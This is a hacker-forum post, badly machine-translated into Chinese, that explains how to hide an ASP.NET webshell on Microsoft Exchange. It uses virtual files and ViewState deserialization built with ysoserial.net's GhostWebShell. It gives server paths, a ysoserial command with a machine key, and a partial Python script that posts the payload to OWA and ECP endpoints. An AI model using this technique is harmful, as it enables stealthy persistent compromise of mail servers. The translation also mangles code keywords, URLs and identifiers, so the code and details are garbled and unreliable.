跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透技巧——利用虚拟文件隐藏ASP .NET Webshell

精选回复

发布于

0x00 前言

通过ASP .网的虚拟路径提供者类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。

本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍交换下的利用方法,开源代码,记录细节,给出防御建议。

0x01 简介

本文将要介绍以下内容:

虚拟路径提供者在交换下的利用

点网反序列化在交换下的利用

防御检测

0x02 VirtualPathProvider在Exchange下的利用

参考资料:

https://份文件。微软。com/en-us/dot net/API/system。网络。托管。virtualpathprovider?view=netframework-4.8

在实现上需要继承虚拟路径提供者类并重写两个方法:文件存在和获取文件,注册虚拟路径提供者并创建实例后,实现虚拟文件的创建

示例代码:

% @ Page Language=' c# ' AutoEventWireup=' true ' validate request=' false ' EnableViewStateMac=' false ' %

%@导入名称空间='系统.网络。托管' %

%@导入名称空间='系统.网络。编译' %

%@导入名称空间='系统.IO' %

%@导入名称空间='系统.反射' %

%@导入名称空间='系统.'安全性。加密' %

注:

代码来自https://内核32。org/posts/avoiding-anti-virus-by-using-dynamic-code-generation-and-reflection/

在交换上进行如下测试:

保存位置:% exchange installpath % \ FrontEnd \ http proxy \ OWA \ auth \ test1。aspx

访问网址:https:///OWA/auth/test1。aspx/延期。aspx,返回结果:即时编译:),虚拟文件被成功访问

注:

虚拟文件的可访问路径为:https:///owa/auth/test1.aspx/任意字符

创建虚拟文件时,会在临时目录下产生编译文件,默认位置:C:\Windows\Microsoft .NET \ Framework64 | Framework \ \临时ASP。网文件\owa\\\

文件名称:test1.aspx.编辑

如果删除原文件test1.aspx,那么虚拟文件也随之失效,无法访问

通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够

而利用ysoserial.net的GhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。

0x03 DotNet反序列化的利用

参考代码:

https://github。com/pwntester/yso串行。net/blob/master/exploit类/ghost web shell。铯

测试环境:

获得了交换文件读写权限,能够修改% exchange installpath % \ FrontEnd \ http proxy \ OWA \ web。配置和% exchange installpath % \ FrontEnd \ http proxy \ ECP \ web。配置,设置机器钥匙的内容如下:

对于这两个位置的。网反序列化命令执行,不再需要合法用户的凭据

这里选择% exchange installpath % \ FrontEnd \ http proxy \ OWA \ auth \ error Fe。aspx,对应的发电机为042A94E8

使用ysoserial.net生成视图状态的参数如下:

yso serial . exe-p ViewState-g activity surrogateselectorfromfile-f los formatter-c ' ghost文件。cs;系统。Web.dll;system . dll "-validation g=' SHA1 '-validation key=' CB 2721阿布达F8 e9 DC 516d 621 D8 b 8 BF 13 a2 C9 e 8689 a 25303 BF '-generator=' 042 a94 e 8 '

使用如下代码发送视图状态:

#编码:UTF-8

导入请求

进口关于

导入系统

导入操作系统

导入json

导入urllib3

urllib3.disable_warnings()

从urllib.parse导入引号

导入urllib.parse

if __name__=='__main__ ':

if len(sys.argv)!=4:

注意=""

用法:

:owa或工程更改程序

例如。

{ 0 } 192 .168 .1 .1 CB 2721 Abd af8 e9 DC 516d 621 D8 b8 BF 13 a2 C9 e 8689 a 25303 BF OWA

{ 1 } mail.test.com CB 2721 Abd af 8 e 9 DC 516d 621d 8 b 8 BF 13 a2 C9 e 8689 a 25303 BF ECP

'''

print(note.format(sys.argv[0],sys.argv[0]))

sys.exit(0)

否则:

targeturl=

生成器="";

尝试:

if sys.argv[3]=='owa ':

targeturl=' https://' sys。argv[1]'/OWA/验证/错误Fe。aspx ';

发电机=' 042A94E8

elif sys.argv[3]=='ecp ':

targeturl=' https://' sys。argv[1]'/ECP/验证/注销超时。aspx ';

发电机=' 277B1C2A

否则:

打印('[!]输入错误');

print('[*] TargetURL: ' targeturl ')

out_payload=' '

body={ ' _ _ VIEWSTATEGENERATOR ':generator,' __VIEWSTATE': out_payload}

postData=urllib。解析。urlencode(正文).编码(“utf-8”)

标题={

用户代理:' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。